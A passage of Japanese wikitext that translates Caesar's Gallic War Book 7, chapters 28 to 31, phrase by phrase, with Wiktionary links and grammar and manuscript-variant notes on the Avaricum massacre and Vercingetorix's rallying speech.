*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ubi [[wikt:en:nemo#Latin|neminem]] in aequum locum sese [[wikt:en:demitto#Latin|demittere]], sed [[wikt:en:totus#Latin:_whole|toto]] [[wikt:en:undique#Latin|undique]] [[wikt:en:murus#Latin|muro]] [[wikt:en:circumfundi#Latin|circumfundi]] [[wikt:en:viderunt#Latin|viderunt]], 
**&lt;small&gt;（ローマ兵が）&lt;/small&gt;誰も平らな所に降りて来ず、しかし城壁全体の至る所で取り囲まれたことを見たときに、
*[[wikt:en:veritus#Latin|veriti]], ne [[wikt:en:omnino#Latin|omnino]] spes fugae [[wikt:en:tolleretur#Latin|tolleretur]], 
**&lt;small&gt;（籠城ガッリア勢は）&lt;/small&gt;逃亡のあらゆる希望を奪われないかと怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：veriti, [[wikt:en:ne#Latin:_no|ne]] ～ 「～ではないかと恐れて」恐れの表現。）&lt;/span&gt;
*[[wikt:en:abiectus#Latin|abiectis]] [[wikt:en:arma#Latin|armis]] 
**武器を投げ捨てて、
*[[wikt:en:ultimus#Latin|ultimas]] oppidi partes 
**城塞都市の&lt;small&gt;（ローマ勢から）&lt;/small&gt;最も遠くの方面を
*[[wikt:en:continens#Latin|continenti]] [[wikt:en:impetus#Latin|impetu]] [[wikt:en:petiverunt#Latin|petiverunt]], 
**絶え間ない殺到によって求めた。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;u&gt;pars&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; ibi, cum [[wikt:en:angustus#Latin|angusto]] [[wikt:en:exitus#Latin|exitu]] portarum se ipsi [[wikt:en:premerent#Latin|premerent]], a militibus, 
**ある者たちは、城門の狭い出口で自分らで互いに押し合っていたので、そこで&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちによって&lt;small&gt;（殺され）&lt;/small&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:pars#Latin|pars]] ～, pars …「ある者たちは～、別の者たちは…」。）&lt;/span&gt;
*&lt;u&gt;pars&lt;/u&gt; iam [[wikt:en:egressus#Latin|egressa]] portis ab [[wikt:en:eques#Latin|equitibus]] est [[wikt:en:interfectus#Latin|interfecta]]. 
**別の者たちはすでに城門を出ていたが、&lt;small&gt;（ローマ側の）&lt;/small&gt;[[w:騎兵|騎兵]]たちによって虐殺された。

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:nec#Latin|Nec]] fuit [[wikt:en:quisquam#Pronoun|quisquam]], qui [[wikt:en:praeda#Latin|praedae]] [[wikt:en:studeret#Latin|studeret]]. 
**&lt;small&gt;（ローマ勢には）&lt;/small&gt;戦利品を熱心に求める何者もいなかった。
*[[wikt:en:sic#Latin|Sic]] et &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:caedes#Latin|caede]] et [[wikt:en:labor#Latin|labore]] [[wikt:en:opus#Latin|operis]] [[wikt:en:incitatus#Latin|incitati]] 
**このように、ケナブムの&lt;small&gt;（ローマ市民の）&lt;/small&gt;殺害にも、（攻城）作業の労苦にも煽られて
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カルヌーテース族によるローマ市民の殺害については[[#3節|3節]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cenabi は、&amp;alpha;系写本では [[wikt:en:Genabi#Latin|genabi]] &lt;br&gt;　　　　　　　　　　　　　&amp;rho;系写本や写本Tでは [[wikt:en:Genabensi#Adjective|genabensi]]&lt;br&gt;　　　　　　　　　　　　　写本Uおよび写本Tの一部では cenabensi となっている。&lt;br&gt;　　　　　　　　　　　　　なお、cenabi, cenabensi はケルト語風の表記である。）&lt;/span&gt;
*non [[wikt:en:aetas#Latin|aetate]] [[wikt:en:confectus#Latin|confectis]], 
**&lt;small&gt;（ローマ勢は）&lt;/small&gt;年老いた者たちも、
*non [[wikt:en:mulier#Latin|mulieribus]], 
**妻女たちも、
*non [[wikt:en:infans#Noun|infantibus]] [[wikt:en:pepercerunt#Latin|pepercerunt]]. 
**乳幼児たちも&lt;small&gt;（虐殺することを）&lt;/small&gt;思いとどまらなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ビトゥリゲース族はローマ市民の殺害には関与しておらず、報復される対象とするのは的外れである。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ましてや非戦闘員である老人・女性・子供たちまで殺戮するのは、戦争の狂気というしかない。）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:denique#Latin|Denique]] ex omni &lt;u&gt;&lt;span style=&quot;color:#009900;&quot;&gt;eo&lt;/span&gt;&lt;/u&gt; numero, qui fuit circiter milium XL&lt;small&gt;&amp;nbsp;([[wikt:en:quadraginta#Latin|quadraginta]])&lt;/small&gt;, 
**ついには、約40000名もいたすべての人員のうち、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:eo#Latin:_there|eo]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*vix DCCC&lt;small&gt;&amp;nbsp;([[wikt:en:octingenti#Latin|octingenti]])&lt;/small&gt;, qui primo [[wikt:en:clamor#Latin|clamore]] [[wikt:en:auditus#Latin|audito]] se ex oppido &lt;u&gt;eiecerunt&lt;/u&gt;, 
**やっと800名が、はじめにどよめきを聞いて、城塞都市から急ぎ出て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:eiecerunt#Latin|eiecerunt]]&lt;small&gt;&amp;nbsp;(直接法･完了)&lt;/small&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eiecerant#Latin|eiecerant]]&lt;small&gt;&amp;nbsp;(直接法･過去完了)&lt;/small&gt; となっている。）&lt;/span&gt;
*[[wikt:en:incolumis#Latin|incolumes]] ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:pervenerunt#Latin|pervenerunt]]. 
**無傷のままで[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ到着した。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Quos ille multa iam nocte &lt;u&gt;silentio&lt;/u&gt; ex fuga [[wikt:en:excepit#Latin|excepit]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、逃亡して来たその者たちを、すでに夜も更けた&lt;u&gt;静寂のうちに&lt;/u&gt;迎え入れた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:silentio#Latin|silentio]] だが、&amp;beta;系写本にはない。&lt;br&gt;　　　　　　他方、&amp;beta;系写本では [[wikt:en:sic#Latin|sic]] とあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]], ne qua in castris ex eorum [[wikt:en:concursus#Latin:_convergence|concursu]] et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]] seditio &lt;u&gt;oreretur&lt;/u&gt;, 
**彼らの密集や一般兵士たちの同情から、陣営の中で何らかの暴動が生じないように怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne [[wikt:en:aliqui#Latin|qua (aliqua)]] ～ [[wikt:en:seditio#Latin|seditio]]「何らかの暴動が～ないように」
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、一部の写本は [[wikt:en:oreretur#Latin|oreretur]] だが、&lt;br&gt;　　　　　　　　　他の写本では [[wikt:en:oriretur#Latin|oriretur]] となっているが、語形の相違。）&lt;/span&gt;
*ut procul in via [[wikt:en:dispositus#Latin|dispositis]] [[wikt:en:familiaris#Noun|familiaribus]] suis [[wikt:en:princeps#Latin|principibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:civitas#Latin|civitatum]], 
**自らの郎党たちや部族の領袖たちを&lt;small&gt;&lt;/small&gt;（陣営の）遠くから道沿いに配置して、
*[[wikt:en:disparandus#Latin|disparandos]] [[wikt:en:deducendus#Latin|deducendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; ad suos [[wikt:en:curaret#Latin|curaret]], 
**&lt;small&gt;（敗走者たちを）&lt;/small&gt;味方のもとへ、引き離して連れて行くように手配した。
*quae [[wikt:en:cuique#Latin|cuique]] civitati pars castrorum ab [[wikt:en:initium#Latin|initio]] [[wikt:en:obvenerat#Latin|obvenerat]].
**陣営の各部分は、おのおのの部族にはじめから与えられていたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===29節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/29節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
[[画像:Vercingetorix stater CdM.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
;ウェルキンゲトリークスが演説で味方を鼓舞する

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die [[wikt:en:concilium#Latin|concilio]] [[wikt:en:convocatus#Latin|convocato]], 
**翌日に、会合が召集されると、
*[[wikt:en:consolatus#Latin|consolatus]] [[wikt:en:cohortatus#Latin|cohortatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; est, 
**&lt;small&gt;（ウェルキンゲトリークスは、味方の者たちを）&lt;/small&gt;慰めて、励ました：
*&lt;u&gt;ne&lt;/u&gt; se [[wikt:en:admodum#Latin|admodum]] animo [[wikt:en:demitterent#Latin|demitterent]], 
**あまり気を落とさないように、
*&lt;u&gt;ne&lt;/u&gt; [[wikt:en:perturbarentur#Latin|perturbarentur]] [[wikt:en:incommodum#Latin|incommodo]]. 
**敗北により取り乱さないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の下線部は、&amp;alpha;系写本では [[wikt:en:ne#Latin:_no|ne]] ～ ne だが、&lt;br&gt;　　　　　　　　　　　&amp;beta;系写本では ne ～ [[wikt:en:neve#Latin|neve]] となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Non [[wikt:en:virtus#Latin|virtute]] neque in [[wikt:en:acies#Latin|acie]] [[wikt:en:vicisse#Latin|vicisse]] [[wikt:en:Romani#Latin|Romanos]], 
**ローマ人たちが勝ったのは、武勇においてでも、戦列&lt;small&gt;〔野外の合戦〕&lt;/small&gt;においてでもなく、
*sed [[wikt:en:artificium#Noun|artificio]] [[wikt:en:quidam#Determiner|quodam]] et [[wikt:en:scientia#Latin:_knowledge|scientia]] [[wikt:en:oppugnatio#Latin|oppugnationis]], 
**ある種の技巧および攻城戦の知識によるものであって、
*cuius rei [[wikt:en:fuerint#Latin|fuerint]] ipsi [[wikt:en:imperitus#Latin|imperiti]]. 
**その事柄に&lt;small&gt;（ガッリア人）&lt;/small&gt;自身が通じていなかったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第5巻#42節|第5巻42節]]では、ネルウィイー族らガッリア北部のベルガエ勢はローマ人の攻城術をまねていた。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:erro#Latin:_wander|Errare]], si [[wikt:en:aliqui#Latin|qui]] in [[wikt:en:bellum#Latin|bello]] omnes [[wikt:en:secundus#Adjective|secundos]] rerum [[wikt:en:proventus#Latin|proventus]] [[wikt:en:exspectent#Latin|exspectent]]. 
**誰であれ、戦争において、万事が順調な成功になることを期待するのならば、&lt;small&gt;（その者らは）&lt;/small&gt;誤っている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：語順が判りにくいが、&lt;br&gt;　　　　物事のすべて（omnes rerum）が幸運な結果（secundos proventus）であることを期待するのならば～。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：errare の意味上の主語（[[wikt:en:eos#Latin|eos]]）が省略されている。）&lt;/span&gt;

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sibi [[wikt:en:numquam#Latin|numquam]] [[wikt:en:placuisse#Latin|placuisse]] [[wikt:en:Avaricum#Latin|Avaricum]] [[wikt:en:defendi#Latin|defendi]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;にとって、アウァーリクムが防衛されることは決して好ましいものではなかった。
*cuius rei [[wikt:en:testis#Latin:_witness|testes]] ipsos [[wikt:en:haberet#Latin|haberet]]; 
**その事の証人は&lt;small&gt;（諸君ら）&lt;/small&gt;自身である。
*sed &lt;u&gt;factum&lt;/u&gt; [[wikt:en:inprudentia#Latin|inprudentia]] [[wikt:en:Bituriges#Latin|Biturigum]] et [[wikt:en:nimius#Latin|nimia]] [[wikt:en:obsequentia#Latin|obsequentia]] reliquorum, &lt;u&gt;uti&lt;/u&gt; hoc [[wikt:en:incommodum#Latin|incommodum]] [[wikt:en:acciperetur#Latin|acciperetur]].
**だが、ビトゥリゲース族の軽率さと、ほかの者たちの過度な同調により、この敗北を蒙るようになったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:factus#Latin:_done|factum]] (esse) ～ [[wikt:en:uti#Latin:_how|uti]] …「…ようになった」）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Id tamen se celeriter [[wikt:en:maior#Adjective_2|maioribus]] [[wikt:en:commodum#Latin:noun|commodis]] [[wikt:en:sanaturus#Latin|sanaturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;. 
**しかしながら、自分がそれ&lt;small&gt;〔敗北〕&lt;/small&gt;を速やかに大いなる勝利によって埋め合わせるであろう。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Nam quae ab reliquis [[wikt:en:Galli#Latin:_Gauls|Gallis]] civitates [[wikt:en:dissentirent#Latin|dissentirent]], 
**一方、&lt;small&gt;（ウェルキンゲトリークスら）&lt;/small&gt;ほかのガッリア人たちとは意見を相異する諸部族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：先行詞 [[wikt:en:civitas#Latin|civitates]] が quae 以下の関係文中に入り込む倒置の語順。）&lt;/span&gt;
*has sua [[wikt:en:diligentia#Noun|diligentia]] [[wikt:en:adiuncturus#Latin|adiuncturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**彼ら&lt;small&gt;〔諸部族〕&lt;/small&gt;を自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の入念さにより合流させるであろうし、
*atque unum [[wikt:en:consilium#Latin|consilium]] [[wikt:en:totus#Latin:_whole|totius]] [[wikt:en:Gallia#Latin|Galliae]] [[wikt:en:effecturus#Latin|effecturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, 
**全ガッリアの考えを一つにするであろう。
*cuius [[wikt:en:consensus#Latin|consensui]] ne orbis quidem terrarum [[wikt:en:possit#Latin|possit]] [[wikt:en:obsistere#Latin|obsistere]]; 
**その団結には、全世界でさえ邪魔することはできない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:orbis#Latin|orbis]] [[wikt:en:/terrarum#Latin|terrarum]]「全世界」）&lt;/span&gt;
*[[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; se [[wikt:en:prope#Adverb|prope]] iam [[wikt:en:effectus#Latin:_participle|effectum]] habere. 
**それを自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、ほとんどすでに成し遂げたと思う。

:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:interea#Latin|Interea]] [[wikt:en:aequus#Latin|aequum]] esse ab iis [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:impetrari#Latin|impetrari]], 
**その間に&lt;small&gt;（ガッリアの）&lt;/small&gt;共通の安全のために、彼ら&lt;small&gt;〔ガッリア人〕&lt;/small&gt;によって&lt;small&gt;（以下のように）&lt;/small&gt;達成されることが好都合である。
*ut castra [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerent#Latin|instituerent]], 
**陣営を防御することを実施するように、
*[[wikt:en:quo#Latin:_where|quo]] [[wikt:en:facilius#Latin|facilius]] [[wikt:en:repentinus#Latin|repentinos]] hostium [[wikt:en:impetus#Latin|impetus]] &lt;u&gt;sustinerent&lt;/u&gt;.
**それにより、敵たち&lt;small&gt;〔ローマ人〕&lt;/small&gt;の予期せぬ襲撃に対して、より容易に持ちこたえられるように。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sustinerent#Latin|sustinerent]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:sustinere#Latin|sustinere]] [[wikt:en:possent#Latin|possent]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===30節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/30節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ガッリア勢がウェルキンゲトリークスに心服し、希望を抱く

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Fuit haec [[wikt:en:oratio#Latin|oratio]] non [[wikt:en:ingratus#Latin|ingrata]] [[wikt:en:Galli#Latin:_Gauls|Gallis]], 
**この演説は、ガッリア人たちにとっては不快なものではなかった。
*et maxime, quod ipse animo non [[wikt:en:defecerat#Latin|defecerat]], [[wikt:en:tantus#Latin|tanto]] [[wikt:en:acceptus#Latin|accepto]] [[wikt:en:incommodum#Latin|incommodo]], 
**──というのは、とりわけ&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身がこれほどの敗北を蒙っても意気消沈することなく、
*neque &lt;u&gt;se&lt;/u&gt; [[wikt:en:in_occultum#Latin|in occultum]] [[wikt:en:abdiderat#Latin|abdiderat]] 
**秘密の場所に身を隠したり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の再帰代名詞 se は 最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|''ed. pr.'']] で挿入されたもので、主要写本 &amp;omega; にはない。）&lt;/span&gt;
*et [[wikt:en:conspectus#Latin:_noun|conspectum]] [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:fugerat#Latin|fugerat]]&lt;!--,--&gt;; 
**大勢の見ているところを避けたりしなかったからである──。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:plus#Latin:_adverb|plus]]&lt;nowiki&gt;que&lt;/nowiki&gt; animo [[wikt:en:provideo#Latin|providere]] et [[wikt:en:praesentio#Latin|praesentire]] [[wikt:en:existimabatur#Latin|existimabatur]], 
**&lt;small&gt;（ウェルキンゲトリークスは他の者よりも）&lt;/small&gt;より先見の明があり、予感していると考えられていた。
*quod re [[wikt:en:integer#Latin|integra]] 
**──というのは、事態が手つかずのままで、
*[[wikt:en:primo#Latin:_adverb|primo]] [[wikt:en:incendendus#Latin|incendendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:Avaricum#Latin|Avaricum]], 
**当初はアウァーリクムが焼き払われるべきだと&lt;small&gt;（主張し）&lt;/small&gt;、
*post [[wikt:en:deserendus#Latin|deserendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, [[wikt:en:censuerat#Latin|censuerat]]. 
**後には&lt;small&gt;（アウァーリクムは）&lt;/small&gt;放棄されるべきだ、と主張していたからだ──。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:itaque#Latin|Itaque]] &lt;u&gt;ut&lt;/u&gt; [[wikt:en:reliquus#Latin|reliquorum]] [[wikt:en:imperator#Latin|imperatorum]] res adversae [[wikt:en:auctoritas#Latin|auctoritatem]] [[wikt:en:minuunt#Latin|minuunt]], 
**それゆえに、逆境がほかの将軍たちの影響力を減ずる一方で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ut#Conjunction|ut]] ～, [[wikt:en:sic#Latin|sic]] …「～であるように、同様に…」あるいは「～である一方で、…」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:res#Latin|res]] [[wikt:en:adversus#Participle|adversae]]「逆境、（戦争における）敗北」。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; huius &lt;u&gt;ex contrario&lt;/u&gt; [[wikt:en:dignitas#Latin|dignitas]] &lt;u&gt;incommodo&lt;/u&gt; [[wikt:en:acceptus#Latin|accepto]] &lt;u&gt;in dies&lt;/u&gt; [[wikt:en:augebatur#Latin|augebatur]]. 
**それどころか、彼の威厳は、災難を蒙っても、日ごとに高まっていたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ex_contrario#Latin|ex contrario]]「それどころか」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:incommodum#Latin|incommodum]]「不運、災難、（戦争における）敗北」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_dies#Latin|in dies]]「日に日に」「日ごとに」。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|Simul]] &lt;u&gt;in spem [[wikt:en:veniebant#Latin|veniebant]]&lt;/u&gt; eius [[wikt:en:adfirmatio#Latin|adfirmatione]] de reliquis [[wikt:en:adiungendus#Latin|adiungendis]] [[wikt:en:civitas#Latin|civitatibus]]; 
**同時に、彼の断言によって&lt;small&gt;（ガッリア人たちは）&lt;/small&gt;ほかの諸部族を合流させることについて希望を抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:spes#Latin|spem]] [[wikt:en:venio#Latin|venire]]「希望を抱くようになる」。）&lt;/span&gt;
*[[wikt:en:primum#Adverb|primum]]&lt;nowiki&gt;que&lt;/nowiki&gt; eo tempore [[wikt:en:Galli#Latin:_Gauls|Galli]] [[wikt:en:castra#Latin|castra]] [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerunt#Latin|instituerunt]], 
**そのときに初めて、ガッリア人たちは陣営の防備を固めることに着手した。
*et &lt;u&gt;sic&lt;/u&gt; &lt;u&gt;sunt&lt;/u&gt; animo &lt;u&gt;consternati&lt;/u&gt;, homines [[wikt:en:insuetus#Latin|insueti]] [[wikt:en:labor#Latin|laboris]], 
**&lt;small&gt;（陣営の防備という）&lt;/small&gt;労苦に慣れていない人々が、&lt;u&gt;気持ちが狼狽していたので、&lt;/u&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sic]] ～, [[wikt:en:ut#Conjunction|ut]] …「～であるので、その結果…ほどだった」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の sunt は主要写本 &amp;omega; の記述だが、erant とする修正提案もある。&lt;br&gt;　　　　sunt なら未完了過去 (sunt consternati)、erant なら過去完了 (erant consternati) になる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:consternati#Latin|consternati]] は主要写本 &amp;omega; の記述だが、&lt;br&gt;　　　　　　　　 ''[[ガリア戦記/注解編/写本と校訂版#Nipperdey|Nipperdey]]'' は [[wikt:en:confirmati#Latin|confirmati]] と修正提案している。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：写本の読みは sunt [[wikt:en:consternati#Latin|consternati]] 「（彼らは）恐怖に陥っていた、混乱していた。」だが、&lt;br&gt;　　　　修正読みでは sunt [[wikt:en:confirmati#Latin|confirmati]] 「（彼らは）励まされた」。）&lt;/span&gt;
*&lt;u&gt;ut&lt;/u&gt; omnia, quae [[wikt:en:imperarentur#Latin|imperarentur]], sibi [[wikt:en:patiendus#Latin|patienda]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; &lt;u&gt;et perferenda &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;&lt;/u&gt; [[wikt:en:existimarent#Latin|existimarent]].
**自分たちにとって、命令されたことすべてを耐えるべきであり、&lt;u&gt;成就するべきである&lt;/u&gt;と考えるに至ったほどであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の et [[wikt:en:perferenda#Latin|perferenda]] (esseは省略されている) は&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===31節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/31節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ウェルキンゲトリークスがほかの諸部族を勧誘し、兵力を補充する

:　
;　　　ウェルキンゲトリークスが、さらに多くの部族に同盟を誘いかける
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Nec minus, quam est [[wikt:en:pollicitus#Latin|pollicitus]], 
**約束したことに劣らず、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] [[wikt:en:minus#Adverb_4|minus]] [[wikt:en:quam#Latin|quam]] ～「～に劣らず」。）&lt;/span&gt;
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] animo [[wikt:en:laborabat#Latin|laborabat]], ut reliquas [[wikt:en:civitas#Latin|civitates]] [[wikt:en:adiungeret#Latin|adiungeret]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ほかの諸部族を加盟させるように、心から努力した。
*atque &lt;u&gt;earum principes donis pollicitationibusque&lt;/u&gt; [[wikt:en:adliciebat#Latin|adliciebat]]. 
**それらの領袖たちに贈物を約束することによって、誘い込もうとしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では earum [[wikt:en:princeps#Noun_3|principes]] [[wikt:en:donum#Latin|donis]] [[wikt:en:pollicitatio#Latin|pollicitationibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では eas donis pollicitationibus となっている。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Huic rei [[wikt:en:idoneus#Latin|idoneos]] homines [[wikt:en:deligebat#Latin|deligebat]], 
**この事&lt;small&gt;〔同盟に誘うこと〕&lt;/small&gt;に適切な人物たちを&lt;small&gt;（ウェルキンゲトリークスが）&lt;/small&gt;選び出して、
*quorum [[wikt:en:quisque#Latin|quisque]] aut [[wikt:en:oratio#Latin|oratione]] [[wikt:en:subdolus#Latin|subdola]] aut [[wikt:en:amicitia#Latin|amicitia]] 
**その者たちのおのおのは、巧妙な演説により、あるいは友情により、
*[[wikt:en:facillime#Latin|facillime]] &lt;u&gt;capere&lt;/u&gt; posset. 
**かなり容易に&lt;small&gt;（同盟者を）&lt;/small&gt;得ることができた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系写本･写本Lでは [[wikt:en:capere#Latin|capere]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:capi#Latin|capi]] となっている。）&lt;/span&gt;

:　
;　　　アウァーリクムからの逃亡者たちに、武具と衣服を支給する
